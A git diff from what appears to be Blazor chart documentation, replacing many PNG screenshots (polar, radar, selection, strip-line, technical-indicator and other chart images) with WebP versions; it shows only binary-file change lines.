diff --git a/blazor/chart/images/numeric-axis/blazor-line-chart-grouping-separator.png b/blazor/chart/images/numeric-axis/blazor-line-chart-grouping-separator.png
deleted file mode 100644
index c3d551a6a2..0000000000
Binary files a/blazor/chart/images/numeric-axis/blazor-line-chart-grouping-separator.png and /dev/null differ
diff --git a/blazor/chart/images/numeric-axis/blazor-line-chart-grouping-separator.webp b/blazor/chart/images/numeric-axis/blazor-line-chart-grouping-separator.webp
new file mode 100644
index 0000000000..223124cc33
Binary files /dev/null and b/blazor/chart/images/numeric-axis/blazor-line-chart-grouping-separator.webp differ
diff --git a/blazor/chart/images/numeric-axis/blazor-line-chart-label-format.png b/blazor/chart/images/numeric-axis/blazor-line-chart-label-format.png
deleted file mode 100644
index 8e25a5a436..0000000000
Binary files a/blazor/chart/images/numeric-axis/blazor-line-chart-label-format.png and /dev/null differ
diff --git a/blazor/chart/images/numeric-axis/blazor-line-chart-label-format.webp b/blazor/chart/images/numeric-axis/blazor-line-chart-label-format.webp
new file mode 100644
index 0000000000..bd463076c9
Binary files /dev/null and b/blazor/chart/images/numeric-axis/blazor-line-chart-label-format.webp differ
diff --git a/blazor/chart/images/numeric-axis/blazor-line-chart-normal-range-padding.png b/blazor/chart/images/numeric-axis/blazor-line-chart-normal-range-padding.png
deleted file mode 100644
index 6a7bca3821..0000000000
Binary files a/blazor/chart/images/numeric-axis/blazor-line-chart-normal-range-padding.png and /dev/null differ
diff --git a/blazor/chart/images/numeric-axis/blazor-line-chart-normal-range-padding.webp b/blazor/chart/images/numeric-axis/blazor-line-chart-normal-range-padding.webp
new file mode 100644
index 0000000000..4062dfb19c
Binary files /dev/null and b/blazor/chart/images/numeric-axis/blazor-line-chart-normal-range-padding.webp differ
diff --git a/blazor/chart/images/numeric-axis/blazor-line-chart-numeric-axis.webp b/blazor/chart/images/numeric-axis/blazor-line-chart-numeric-axis.webp
new file mode 100644
index 0000000000..0712edd8e3
Binary files /dev/null and b/blazor/chart/images/numeric-axis/blazor-line-chart-numeric-axis.webp differ
diff --git a/blazor/chart/images/numeric-axis/blazor-line-chart-range-without-padding.webp b/blazor/chart/images/numeric-axis/blazor-line-chart-range-without-padding.webp
new file mode 100644
index 0000000000..499377f2df
Binary files /dev/null and b/blazor/chart/images/numeric-axis/blazor-line-chart-range-without-padding.webp differ
diff --git a/blazor/chart/images/numeric-axis/blazor-line-chart-round-range-padding.webp b/blazor/chart/images/numeric-axis/blazor-line-chart-round-range-padding.webp
new file mode 100644
index 0000000000..0645f8b7ff
Binary files /dev/null and b/blazor/chart/images/numeric-axis/blazor-line-chart-round-range-padding.webp differ
diff --git a/blazor/chart/images/numeric-axis/group.webp b/blazor/chart/images/numeric-axis/group.webp
new file mode 100644
index 0000000000..d1b04c5791
Binary files /dev/null and b/blazor/chart/images/numeric-axis/group.webp differ
diff --git a/blazor/chart/images/othertypes/blazor-box-whisker-chart-with-box-plot-mode.png b/blazor/chart/images/othertypes/blazor-box-whisker-chart-with-box-plot-mode.png
deleted file mode 100644
index 32483f5e4a..0000000000
Binary files a/blazor/chart/images/othertypes/blazor-box-whisker-chart-with-box-plot-mode.png and /dev/null differ
diff --git a/blazor/chart/images/othertypes/blazor-box-whisker-chart-with-box-plot-mode.webp b/blazor/chart/images/othertypes/blazor-box-whisker-chart-with-box-plot-mode.webp
new file mode 100644
index 0000000000..3ec65a8d37
Binary files /dev/null and b/blazor/chart/images/othertypes/blazor-box-whisker-chart-with-box-plot-mode.webp differ
diff --git a/blazor/chart/images/othertypes/blazor-box-whisker-charts.png b/blazor/chart/images/othertypes/blazor-box-whisker-charts.png
deleted file mode 100644
index 24709c1948..0000000000
Binary files a/blazor/chart/images/othertypes/blazor-box-whisker-charts.png and /dev/null differ
diff --git a/blazor/chart/images/othertypes/blazor-box-whisker-charts.webp b/blazor/chart/images/othertypes/blazor-box-whisker-charts.webp
new file mode 100644
index 0000000000..f816e269e0
Binary files /dev/null and b/blazor/chart/images/othertypes/blazor-box-whisker-charts.webp differ
diff --git a/blazor/chart/images/othertypes/blazor-error-bar-chart.png b/blazor/chart/images/othertypes/blazor-error-bar-chart.png
deleted file mode 100644
index cbf4c38652..0000000000
Binary files a/blazor/chart/images/othertypes/blazor-error-bar-chart.png and /dev/null differ
diff --git a/blazor/chart/images/othertypes/blazor-error-bar-chart.webp b/blazor/chart/images/othertypes/blazor-error-bar-chart.webp
new file mode 100644
index 0000000000..e6d7c5167e
Binary files /dev/null and b/blazor/chart/images/othertypes/blazor-error-bar-chart.webp differ
diff --git a/blazor/chart/images/othertypes/blazor-histogram-chart.png b/blazor/chart/images/othertypes/blazor-histogram-chart.png
deleted file mode 100644
index f7bc70338a..0000000000
Binary files a/blazor/chart/images/othertypes/blazor-histogram-chart.png and /dev/null differ
diff --git a/blazor/chart/images/othertypes/blazor-histogram-chart.webp b/blazor/chart/images/othertypes/blazor-histogram-chart.webp
new file mode 100644
index 0000000000..c3f8104a3b
Binary files /dev/null and b/blazor/chart/images/othertypes/blazor-histogram-chart.webp differ
diff --git a/blazor/chart/images/othertypes/blazor-line-chart-custom-error-bar-cap.png b/blazor/chart/images/othertypes/blazor-line-chart-custom-error-bar-cap.png
deleted file mode 100644
index 9877c97036..0000000000
Binary files a/blazor/chart/images/othertypes/blazor-line-chart-custom-error-bar-cap.png and /dev/null differ
diff --git a/blazor/chart/images/othertypes/blazor-line-chart-custom-error-bar-cap.webp b/blazor/chart/images/othertypes/blazor-line-chart-custom-error-bar-cap.webp
new file mode 100644
index 0000000000..c942058ff6
Binary files /dev/null and b/blazor/chart/images/othertypes/blazor-line-chart-custom-error-bar-cap.webp differ
diff --git a/blazor/chart/images/othertypes/blazor-pareto-chart.png b/blazor/chart/images/othertypes/blazor-pareto-chart.png
deleted file mode 100644
index 805aad2a45..0000000000
Binary files a/blazor/chart/images/othertypes/blazor-pareto-chart.png and /dev/null differ
diff --git a/blazor/chart/images/othertypes/blazor-pareto-chart.webp b/blazor/chart/images/othertypes/blazor-pareto-chart.webp
new file mode 100644
index 0000000000..81583077cb
Binary files /dev/null and b/blazor/chart/images/othertypes/blazor-pareto-chart.webp differ
diff --git a/blazor/chart/images/othertypes/blazor-vertical-spline-chart.png b/blazor/chart/images/othertypes/blazor-vertical-spline-chart.png
deleted file mode 100644
index af1843faa4..0000000000
Binary files a/blazor/chart/images/othertypes/blazor-vertical-spline-chart.png and /dev/null differ
diff --git a/blazor/chart/images/othertypes/blazor-vertical-spline-chart.webp b/blazor/chart/images/othertypes/blazor-vertical-spline-chart.webp
new file mode 100644
index 0000000000..0e1a3edef7
Binary files /dev/null and b/blazor/chart/images/othertypes/blazor-vertical-spline-chart.webp differ
diff --git a/blazor/chart/images/othertypes/blazor-waterfall-chart-custom-series.png b/blazor/chart/images/othertypes/blazor-waterfall-chart-custom-series.png
deleted file mode 100644
index 9561d1b9b1..0000000000
Binary files a/blazor/chart/images/othertypes/blazor-waterfall-chart-custom-series.png and /dev/null differ
diff --git a/blazor/chart/images/othertypes/blazor-waterfall-chart-custom-series.webp b/blazor/chart/images/othertypes/blazor-waterfall-chart-custom-series.webp
new file mode 100644
index 0000000000..2e75539b40
Binary files /dev/null and b/blazor/chart/images/othertypes/blazor-waterfall-chart-custom-series.webp differ
diff --git a/blazor/chart/images/othertypes/blazor-waterfall-chart.png b/blazor/chart/images/othertypes/blazor-waterfall-chart.png
deleted file mode 100644
index 5bccca52f3..0000000000
Binary files a/blazor/chart/images/othertypes/blazor-waterfall-chart.png and /dev/null differ
diff --git a/blazor/chart/images/othertypes/blazor-waterfall-chart.webp b/blazor/chart/images/othertypes/blazor-waterfall-chart.webp
new file mode 100644
index 0000000000..5c689f8c55
Binary files /dev/null and b/blazor/chart/images/othertypes/blazor-waterfall-chart.webp differ
diff --git a/blazor/chart/images/polar-radar/blazor-polar-chart-area-series.png b/blazor/chart/images/polar-radar/blazor-polar-chart-area-series.png
deleted file mode 100644
index 18dafa6b1c..0000000000
Binary files a/blazor/chart/images/polar-radar/blazor-polar-chart-area-series.png and /dev/null differ
diff --git a/blazor/chart/images/polar-radar/blazor-polar-chart-area-series.webp b/blazor/chart/images/polar-radar/blazor-polar-chart-area-series.webp
new file mode 100644
index 0000000000..b20439fabc
Binary files /dev/null and b/blazor/chart/images/polar-radar/blazor-polar-chart-area-series.webp differ
diff --git a/blazor/chart/images/polar-radar/blazor-polar-chart-column-series.png b/blazor/chart/images/polar-radar/blazor-polar-chart-column-series.png
deleted file mode 100644
index 8b8192e8e7..0000000000
Binary files a/blazor/chart/images/polar-radar/blazor-polar-chart-column-series.png and /dev/null differ
diff --git a/blazor/chart/images/polar-radar/blazor-polar-chart-column-series.webp b/blazor/chart/images/polar-radar/blazor-polar-chart-column-series.webp
new file mode 100644
index 0000000000..39e9584e1c
Binary files /dev/null and b/blazor/chart/images/polar-radar/blazor-polar-chart-column-series.webp differ
diff --git a/blazor/chart/images/polar-radar/blazor-polar-chart-line-series.png b/blazor/chart/images/polar-radar/blazor-polar-chart-line-series.png
deleted file mode 100644
index df73962efb..0000000000
Binary files a/blazor/chart/images/polar-radar/blazor-polar-chart-line-series.png and /dev/null differ
diff --git a/blazor/chart/images/polar-radar/blazor-polar-chart-line-series.webp b/blazor/chart/images/polar-radar/blazor-polar-chart-line-series.webp
new file mode 100644
index 0000000000..61187e342e
Binary files /dev/null and b/blazor/chart/images/polar-radar/blazor-polar-chart-line-series.webp differ
diff --git a/blazor/chart/images/polar-radar/blazor-polar-chart-radius.png b/blazor/chart/images/polar-radar/blazor-polar-chart-radius.png
deleted file mode 100644
index 2628347cc4..0000000000
Binary files a/blazor/chart/images/polar-radar/blazor-polar-chart-radius.png and /dev/null differ
diff --git a/blazor/chart/images/polar-radar/blazor-polar-chart-radius.webp b/blazor/chart/images/polar-radar/blazor-polar-chart-radius.webp
new file mode 100644
index 0000000000..aa7de77896
Binary files /dev/null and b/blazor/chart/images/polar-radar/blazor-polar-chart-radius.webp differ
diff --git a/blazor/chart/images/polar-radar/blazor-polar-chart-range-column-series.png b/blazor/chart/images/polar-radar/blazor-polar-chart-range-column-series.png
deleted file mode 100644
index 5383764a1d..0000000000
Binary files a/blazor/chart/images/polar-radar/blazor-polar-chart-range-column-series.png and /dev/null differ
diff --git a/blazor/chart/images/polar-radar/blazor-polar-chart-range-column-series.webp b/blazor/chart/images/polar-radar/blazor-polar-chart-range-column-series.webp
new file mode 100644
index 0000000000..3abda79be7
Binary files /dev/null and b/blazor/chart/images/polar-radar/blazor-polar-chart-range-column-series.webp differ
diff --git a/blazor/chart/images/polar-radar/blazor-polar-chart-scatter-series.png b/blazor/chart/images/polar-radar/blazor-polar-chart-scatter-series.png
deleted file mode 100644
index 34d5b3bf4e..0000000000
Binary files a/blazor/chart/images/polar-radar/blazor-polar-chart-scatter-series.png and /dev/null differ
diff --git a/blazor/chart/images/polar-radar/blazor-polar-chart-scatter-series.webp b/blazor/chart/images/polar-radar/blazor-polar-chart-scatter-series.webp
new file mode 100644
index 0000000000..5abebe0ce2
Binary files /dev/null and b/blazor/chart/images/polar-radar/blazor-polar-chart-scatter-series.webp differ
diff --git a/blazor/chart/images/polar-radar/blazor-polar-chart-spline-series.png b/blazor/chart/images/polar-radar/blazor-polar-chart-spline-series.png
deleted file mode 100644
index 5c99e8159b..0000000000
Binary files a/blazor/chart/images/polar-radar/blazor-polar-chart-spline-series.png and /dev/null differ
diff --git a/blazor/chart/images/polar-radar/blazor-polar-chart-spline-series.webp b/blazor/chart/images/polar-radar/blazor-polar-chart-spline-series.webp
new file mode 100644
index 0000000000..79e8b73cd3
Binary files /dev/null and b/blazor/chart/images/polar-radar/blazor-polar-chart-spline-series.webp differ
diff --git a/blazor/chart/images/polar-radar/blazor-polar-chart-stacked-area-series.png b/blazor/chart/images/polar-radar/blazor-polar-chart-stacked-area-series.png
deleted file mode 100644
index 995de4232b..0000000000
Binary files a/blazor/chart/images/polar-radar/blazor-polar-chart-stacked-area-series.png and /dev/null differ
diff --git a/blazor/chart/images/polar-radar/blazor-polar-chart-stacked-area-series.webp b/blazor/chart/images/polar-radar/blazor-polar-chart-stacked-area-series.webp
new file mode 100644
index 0000000000..4dbc516131
Binary files /dev/null and b/blazor/chart/images/polar-radar/blazor-polar-chart-stacked-area-series.webp differ
diff --git a/blazor/chart/images/polar-radar/blazor-polar-chart-stacked-column-series.png b/blazor/chart/images/polar-radar/blazor-polar-chart-stacked-column-series.png
deleted file mode 100644
index 1fe33e909b..0000000000
Binary files a/blazor/chart/images/polar-radar/blazor-polar-chart-stacked-column-series.png and /dev/null differ
diff --git a/blazor/chart/images/polar-radar/blazor-polar-chart-stacked-column-series.webp b/blazor/chart/images/polar-radar/blazor-polar-chart-stacked-column-series.webp
new file mode 100644
index 0000000000..9b7f2b56ca
Binary files /dev/null and b/blazor/chart/images/polar-radar/blazor-polar-chart-stacked-column-series.webp differ
diff --git a/blazor/chart/images/polar-radar/blazor-polar-chart-start-angle.png b/blazor/chart/images/polar-radar/blazor-polar-chart-start-angle.png
deleted file mode 100644
index 6a9369a38d..0000000000
Binary files a/blazor/chart/images/polar-radar/blazor-polar-chart-start-angle.png and /dev/null differ
diff --git a/blazor/chart/images/polar-radar/blazor-polar-chart-start-angle.webp b/blazor/chart/images/polar-radar/blazor-polar-chart-start-angle.webp
new file mode 100644
index 0000000000..ff9453eac6
Binary files /dev/null and b/blazor/chart/images/polar-radar/blazor-polar-chart-start-angle.webp differ
diff --git a/blazor/chart/images/polar-radar/blazor-polar-chart.png b/blazor/chart/images/polar-radar/blazor-polar-chart.png
deleted file mode 100644
index 6aafcc2311..0000000000
Binary files a/blazor/chart/images/polar-radar/blazor-polar-chart.png and /dev/null differ
diff --git a/blazor/chart/images/polar-radar/blazor-polar-chart.webp b/blazor/chart/images/polar-radar/blazor-polar-chart.webp
new file mode 100644
index 0000000000..b1ff55d69d
Binary files /dev/null and b/blazor/chart/images/polar-radar/blazor-polar-chart.webp differ
diff --git a/blazor/chart/images/polar-radar/blazor-radar-chart-line-series.png b/blazor/chart/images/polar-radar/blazor-radar-chart-line-series.png
deleted file mode 100644
index 016bd358d1..0000000000
Binary files a/blazor/chart/images/polar-radar/blazor-radar-chart-line-series.png and /dev/null differ
diff --git a/blazor/chart/images/polar-radar/blazor-radar-chart-line-series.webp b/blazor/chart/images/polar-radar/blazor-radar-chart-line-series.webp
new file mode 100644
index 0000000000..c84d2f78dc
Binary files /dev/null and b/blazor/chart/images/polar-radar/blazor-radar-chart-line-series.webp differ
diff --git a/blazor/chart/images/polar-radar/blazor-radar-chart-radius.png b/blazor/chart/images/polar-radar/blazor-radar-chart-radius.png
deleted file mode 100644
index 6622133f6f..0000000000
Binary files a/blazor/chart/images/polar-radar/blazor-radar-chart-radius.png and /dev/null differ
diff --git a/blazor/chart/images/polar-radar/blazor-radar-chart-radius.webp b/blazor/chart/images/polar-radar/blazor-radar-chart-radius.webp
new file mode 100644
index 0000000000..42572ad8c3
Binary files /dev/null and b/blazor/chart/images/polar-radar/blazor-radar-chart-radius.webp differ
diff --git a/blazor/chart/images/polar-radar/blazor-radar-chart-start-angle.png b/blazor/chart/images/polar-radar/blazor-radar-chart-start-angle.png
deleted file mode 100644
index a47eb3e603..0000000000
Binary files a/blazor/chart/images/polar-radar/blazor-radar-chart-start-angle.png and /dev/null differ
diff --git a/blazor/chart/images/polar-radar/blazor-radar-chart-start-angle.webp b/blazor/chart/images/polar-radar/blazor-radar-chart-start-angle.webp
new file mode 100644
index 0000000000..30a89b6bb6
Binary files /dev/null and b/blazor/chart/images/polar-radar/blazor-radar-chart-start-angle.webp differ
diff --git a/blazor/chart/images/select-nuget.png b/blazor/chart/images/select-nuget.png
deleted file mode 100644
index 69ff97a9b3..0000000000
Binary files a/blazor/chart/images/select-nuget.png and /dev/null differ
diff --git a/blazor/chart/images/select-nuget.webp b/blazor/chart/images/select-nuget.webp
new file mode 100644
index 0000000000..d9e267635f
Binary files /dev/null and b/blazor/chart/images/select-nuget.webp differ
diff --git a/blazor/chart/images/selection/blazor-chart-cluster-selection.png b/blazor/chart/images/selection/blazor-chart-cluster-selection.png
deleted file mode 100644
index 7191824a14..0000000000
Binary files a/blazor/chart/images/selection/blazor-chart-cluster-selection.png and /dev/null differ
diff --git a/blazor/chart/images/selection/blazor-chart-cluster-selection.webp b/blazor/chart/images/selection/blazor-chart-cluster-selection.webp
new file mode 100644
index 0000000000..2e1bee2a4d
Binary files /dev/null and b/blazor/chart/images/selection/blazor-chart-cluster-selection.webp differ
diff --git a/blazor/chart/images/selection/blazor-chart-custom-style-selection.png b/blazor/chart/images/selection/blazor-chart-custom-style-selection.png
deleted file mode 100644
index a8f518f1c6..0000000000
Binary files a/blazor/chart/images/selection/blazor-chart-custom-style-selection.png and /dev/null differ
diff --git a/blazor/chart/images/selection/blazor-chart-custom-style-selection.webp b/blazor/chart/images/selection/blazor-chart-custom-style-selection.webp
new file mode 100644
index 0000000000..400450d245
Binary files /dev/null and b/blazor/chart/images/selection/blazor-chart-custom-style-selection.webp differ
diff --git a/blazor/chart/images/selection/blazor-chart-legend-selection.png b/blazor/chart/images/selection/blazor-chart-legend-selection.png
deleted file mode 100644
index cc9e0e26eb..0000000000
Binary files a/blazor/chart/images/selection/blazor-chart-legend-selection.png and /dev/null differ
diff --git a/blazor/chart/images/selection/blazor-chart-legend-selection.webp b/blazor/chart/images/selection/blazor-chart-legend-selection.webp
new file mode 100644
index 0000000000..5698e21310
Binary files /dev/null and b/blazor/chart/images/selection/blazor-chart-legend-selection.webp differ
diff --git a/blazor/chart/images/selection/blazor-chart-multiple-selection.png b/blazor/chart/images/selection/blazor-chart-multiple-selection.png
deleted file mode 100644
index 1cd5e4fcb9..0000000000
Binary files a/blazor/chart/images/selection/blazor-chart-multiple-selection.png and /dev/null differ
diff --git a/blazor/chart/images/selection/blazor-chart-multiple-selection.webp b/blazor/chart/images/selection/blazor-chart-multiple-selection.webp
new file mode 100644
index 0000000000..b9fa0e5810
Binary files /dev/null and b/blazor/chart/images/selection/blazor-chart-multiple-selection.webp differ
diff --git a/blazor/chart/images/selection/blazor-chart-point-selection.png b/blazor/chart/images/selection/blazor-chart-point-selection.png
deleted file mode 100644
index 9421b1f41f..0000000000
Binary files a/blazor/chart/images/selection/blazor-chart-point-selection.png and /dev/null differ
diff --git a/blazor/chart/images/selection/blazor-chart-point-selection.webp b/blazor/chart/images/selection/blazor-chart-point-selection.webp
new file mode 100644
index 0000000000..2ec49b97da
Binary files /dev/null and b/blazor/chart/images/selection/blazor-chart-point-selection.webp differ
diff --git a/blazor/chart/images/selection/blazor-chart-series-selection.png b/blazor/chart/images/selection/blazor-chart-series-selection.png
deleted file mode 100644
index 05a758b12a..0000000000
Binary files a/blazor/chart/images/selection/blazor-chart-series-selection.png and /dev/null differ
diff --git a/blazor/chart/images/selection/blazor-chart-series-selection.webp b/blazor/chart/images/selection/blazor-chart-series-selection.webp
new file mode 100644
index 0000000000..d71999f98c
Binary files /dev/null and b/blazor/chart/images/selection/blazor-chart-series-selection.webp differ
diff --git a/blazor/chart/images/selection/blazor-column-chart-programmatic-selection.png b/blazor/chart/images/selection/blazor-column-chart-programmatic-selection.png
deleted file mode 100644
index 81a4ea57a3..0000000000
Binary files a/blazor/chart/images/selection/blazor-column-chart-programmatic-selection.png and /dev/null differ
diff --git a/blazor/chart/images/selection/blazor-column-chart-programmatic-selection.webp b/blazor/chart/images/selection/blazor-column-chart-programmatic-selection.webp
new file mode 100644
index 0000000000..808f329689
Binary files /dev/null and b/blazor/chart/images/selection/blazor-column-chart-programmatic-selection.webp differ
diff --git a/blazor/chart/images/selection/blazor-scatter-chart-rectangular-selection.png b/blazor/chart/images/selection/blazor-scatter-chart-rectangular-selection.png
deleted file mode 100644
index c91990790e..0000000000
Binary files a/blazor/chart/images/selection/blazor-scatter-chart-rectangular-selection.png and /dev/null differ
diff --git a/blazor/chart/images/selection/blazor-scatter-chart-rectangular-selection.webp b/blazor/chart/images/selection/blazor-scatter-chart-rectangular-selection.webp
new file mode 100644
index 0000000000..8472547db2
Binary files /dev/null and b/blazor/chart/images/selection/blazor-scatter-chart-rectangular-selection.webp differ
diff --git a/blazor/chart/images/sorting/custom-sorting.png b/blazor/chart/images/sorting/custom-sorting.png
deleted file mode 100644
index be2de30cd1..0000000000
Binary files a/blazor/chart/images/sorting/custom-sorting.png and /dev/null differ
diff --git a/blazor/chart/images/sorting/custom-sorting.webp b/blazor/chart/images/sorting/custom-sorting.webp
new file mode 100644
index 0000000000..f3b92215e1
Binary files /dev/null and b/blazor/chart/images/sorting/custom-sorting.webp differ
diff --git a/blazor/chart/images/sorting/sorting-yaxis-ascending.png b/blazor/chart/images/sorting/sorting-yaxis-ascending.png
deleted file mode 100644
index 7005c0997b..0000000000
Binary files a/blazor/chart/images/sorting/sorting-yaxis-ascending.png and /dev/null differ
diff --git a/blazor/chart/images/sorting/sorting-yaxis-ascending.webp b/blazor/chart/images/sorting/sorting-yaxis-ascending.webp
new file mode 100644
index 0000000000..137e25520c
Binary files /dev/null and b/blazor/chart/images/sorting/sorting-yaxis-ascending.webp differ
diff --git a/blazor/chart/images/sorting/sorting-yaxis-descending.png b/blazor/chart/images/sorting/sorting-yaxis-descending.png
deleted file mode 100644
index f6ab7c1968..0000000000
Binary files a/blazor/chart/images/sorting/sorting-yaxis-descending.png and /dev/null differ
diff --git a/blazor/chart/images/sorting/sorting-yaxis-descending.webp b/blazor/chart/images/sorting/sorting-yaxis-descending.webp
new file mode 100644
index 0000000000..25c69b2632
Binary files /dev/null and b/blazor/chart/images/sorting/sorting-yaxis-descending.webp differ
diff --git a/blazor/chart/images/strip-line/blazor-chart-custom-strip-text.png b/blazor/chart/images/strip-line/blazor-chart-custom-strip-text.png
deleted file mode 100644
index 98322e3b19..0000000000
Binary files a/blazor/chart/images/strip-line/blazor-chart-custom-strip-text.png and /dev/null differ
diff --git a/blazor/chart/images/strip-line/blazor-chart-custom-strip-text.webp b/blazor/chart/images/strip-line/blazor-chart-custom-strip-text.webp
new file mode 100644
index 0000000000..131ed0951b
Binary files /dev/null and b/blazor/chart/images/strip-line/blazor-chart-custom-strip-text.webp differ
diff --git a/blazor/chart/images/strip-line/blazor-chart-custom-stripline.png b/blazor/chart/images/strip-line/blazor-chart-custom-stripline.png
deleted file mode 100644
index f2197d9311..0000000000
Binary files a/blazor/chart/images/strip-line/blazor-chart-custom-stripline.png and /dev/null differ
diff --git a/blazor/chart/images/strip-line/blazor-chart-custom-stripline.webp b/blazor/chart/images/strip-line/blazor-chart-custom-stripline.webp
new file mode 100644
index 0000000000..cccf4e2973
Binary files /dev/null and b/blazor/chart/images/strip-line/blazor-chart-custom-stripline.webp differ
diff --git a/blazor/chart/images/strip-line/blazor-chart-horizontal-strip-line.png b/blazor/chart/images/strip-line/blazor-chart-horizontal-strip-line.png
deleted file mode 100644
index 22dfa4737d..0000000000
Binary files a/blazor/chart/images/strip-line/blazor-chart-horizontal-strip-line.png and /dev/null differ
diff --git a/blazor/chart/images/strip-line/blazor-chart-horizontal-strip-line.webp b/blazor/chart/images/strip-line/blazor-chart-horizontal-strip-line.webp
new file mode 100644
index 0000000000..7348b591f3
Binary files /dev/null and b/blazor/chart/images/strip-line/blazor-chart-horizontal-strip-line.webp differ
diff --git a/blazor/chart/images/strip-line/blazor-chart-segmented-stripline.png b/blazor/chart/images/strip-line/blazor-chart-segmented-stripline.png
deleted file mode 100644
index 4c688215a9..0000000000
Binary files a/blazor/chart/images/strip-line/blazor-chart-segmented-stripline.png and /dev/null differ
diff --git a/blazor/chart/images/strip-line/blazor-chart-segmented-stripline.webp b/blazor/chart/images/strip-line/blazor-chart-segmented-stripline.webp
new file mode 100644
index 0000000000..e78e7c9e72
Binary files /dev/null and b/blazor/chart/images/strip-line/blazor-chart-segmented-stripline.webp differ
diff --git a/blazor/chart/images/strip-line/blazor-chart-stripline-tooltip-customized.png b/blazor/chart/images/strip-line/blazor-chart-stripline-tooltip-customized.png
deleted file mode 100644
index f2b24acd35..0000000000
Binary files a/blazor/chart/images/strip-line/blazor-chart-stripline-tooltip-customized.png and /dev/null differ
diff --git a/blazor/chart/images/strip-line/blazor-chart-stripline-tooltip-customized.webp b/blazor/chart/images/strip-line/blazor-chart-stripline-tooltip-customized.webp
new file mode 100644
index 0000000000..a6aae90a3e
Binary files /dev/null and b/blazor/chart/images/strip-line/blazor-chart-stripline-tooltip-customized.webp differ
diff --git a/blazor/chart/images/strip-line/blazor-chart-stripline-tooltip-default.png b/blazor/chart/images/strip-line/blazor-chart-stripline-tooltip-default.png
deleted file mode 100644
index d1aa5944e5..0000000000
Binary files a/blazor/chart/images/strip-line/blazor-chart-stripline-tooltip-default.png and /dev/null differ
diff --git a/blazor/chart/images/strip-line/blazor-chart-stripline-tooltip-default.webp b/blazor/chart/images/strip-line/blazor-chart-stripline-tooltip-default.webp
new file mode 100644
index 0000000000..1cf9f0478c
Binary files /dev/null and b/blazor/chart/images/strip-line/blazor-chart-stripline-tooltip-default.webp differ
diff --git a/blazor/chart/images/strip-line/blazor-chart-vertical-stripline.png b/blazor/chart/images/strip-line/blazor-chart-vertical-stripline.png
deleted file mode 100644
index 98929a336a..0000000000
Binary files a/blazor/chart/images/strip-line/blazor-chart-vertical-stripline.png and /dev/null differ
diff --git a/blazor/chart/images/strip-line/blazor-chart-vertical-stripline.webp b/blazor/chart/images/strip-line/blazor-chart-vertical-stripline.webp
new file mode 100644
index 0000000000..17267b8c36
Binary files /dev/null and b/blazor/chart/images/strip-line/blazor-chart-vertical-stripline.webp differ
diff --git a/blazor/chart/images/technical-indicator/blazor-candle-chart-accumulation-distribution.png b/blazor/chart/images/technical-indicator/blazor-candle-chart-accumulation-distribution.png
deleted file mode 100644
index a702657fbb..0000000000
Binary files a/blazor/chart/images/technical-indicator/blazor-candle-chart-accumulation-distribution.png and /dev/null differ
diff --git a/blazor/chart/images/technical-indicator/blazor-candle-chart-accumulation-distribution.webp b/blazor/chart/images/technical-indicator/blazor-candle-chart-accumulation-distribution.webp
new file mode 100644
index 0000000000..c464af20d8
Binary files /dev/null and b/blazor/chart/images/technical-indicator/blazor-candle-chart-accumulation-distribution.webp differ
diff --git a/blazor/chart/images/technical-indicator/blazor-candle-chart-bollinger-bands.png b/blazor/chart/images/technical-indicator/blazor-candle-chart-bollinger-bands.png
deleted file mode 100644
index f58147a12a..0000000000
Binary files a/blazor/chart/images/technical-indicator/blazor-candle-chart-bollinger-bands.png and /dev/null differ
diff --git a/blazor/chart/images/technical-indicator/blazor-candle-chart-bollinger-bands.webp b/blazor/chart/images/technical-indicator/blazor-candle-chart-bollinger-bands.webp
new file mode 100644
index 0000000000..ee6391f9fc
Binary files /dev/null and b/blazor/chart/images/technical-indicator/blazor-candle-chart-bollinger-bands.webp differ
diff --git a/blazor/chart/images/technical-indicator/blazor-candle-chart-custom-bollinger-bands.png b/blazor/chart/images/technical-indicator/blazor-candle-chart-custom-bollinger-bands.png
deleted file mode 100644
index 4b8df88e10..0000000000
Binary files a/blazor/chart/images/technical-indicator/blazor-candle-chart-custom-bollinger-bands.png and /dev/null differ
diff --git a/blazor/chart/images/technical-indicator/blazor-candle-chart-custom-bollinger-bands.webp b/blazor/chart/images/technical-indicator/blazor-candle-chart-custom-bollinger-bands.webp
new file mode 100644
index 0000000000..a449fecc3f
Binary files /dev/null and b/blazor/chart/images/technical-indicator/blazor-candle-chart-custom-bollinger-bands.webp differ
diff --git a/blazor/chart/images/technical-indicator/blazor-candle-chart-custom-macd.png b/blazor/chart/images/technical-indicator/blazor-candle-chart-custom-macd.png
deleted file mode 100644
index f2ca0c6ab6..0000000000
Binary files a/blazor/chart/images/technical-indicator/blazor-candle-chart-custom-macd.png and /dev/null differ
diff --git a/blazor/chart/images/technical-indicator/blazor-candle-chart-custom-macd.webp b/blazor/chart/images/technical-indicator/blazor-candle-chart-custom-macd.webp
new file mode 100644
index 0000000000..3786ba7778
Binary files /dev/null and b/blazor/chart/images/technical-indicator/blazor-candle-chart-custom-macd.webp differ
diff --git a/blazor/chart/images/technical-indicator/blazor-candle-chart-custom-momentum-indicator.png b/blazor/chart/images/technical-indicator/blazor-candle-chart-custom-momentum-indicator.png
deleted file mode 100644
index e6dc9ed9a6..0000000000
Binary files a/blazor/chart/images/technical-indicator/blazor-candle-chart-custom-momentum-indicator.png and /dev/null differ
diff --git a/blazor/chart/images/technical-indicator/blazor-candle-chart-custom-momentum-indicator.webp b/blazor/chart/images/technical-indicator/blazor-candle-chart-custom-momentum-indicator.webp
new file mode 100644
index 0000000000..05e4d9d88d
Binary files /dev/null and b/blazor/chart/images/technical-indicator/blazor-candle-chart-custom-momentum-indicator.webp differ
diff --git a/blazor/chart/images/technical-indicator/blazor-candle-chart-exponential-moving-average.png b/blazor/chart/images/technical-indicator/blazor-candle-chart-exponential-moving-average.png
deleted file mode 100644
index 5f38dbe276..0000000000
Binary files a/blazor/chart/images/technical-indicator/blazor-candle-chart-exponential-moving-average.png and /dev/null differ
diff --git a/blazor/chart/images/technical-indicator/blazor-candle-chart-exponential-moving-average.webp b/blazor/chart/images/technical-indicator/blazor-candle-chart-exponential-moving-average.webp
new file mode 100644
index 0000000000..37b5eaa806
Binary files /dev/null and b/blazor/chart/images/technical-indicator/blazor-candle-chart-exponential-moving-average.webp differ
diff --git a/blazor/chart/images/technical-indicator/blazor-candle-chart-macd.png b/blazor/chart/images/technical-indicator/blazor-candle-chart-macd.png
deleted file mode 100644
index 4613ea138c..0000000000
Binary files a/blazor/chart/images/technical-indicator/blazor-candle-chart-macd.png and /dev/null differ
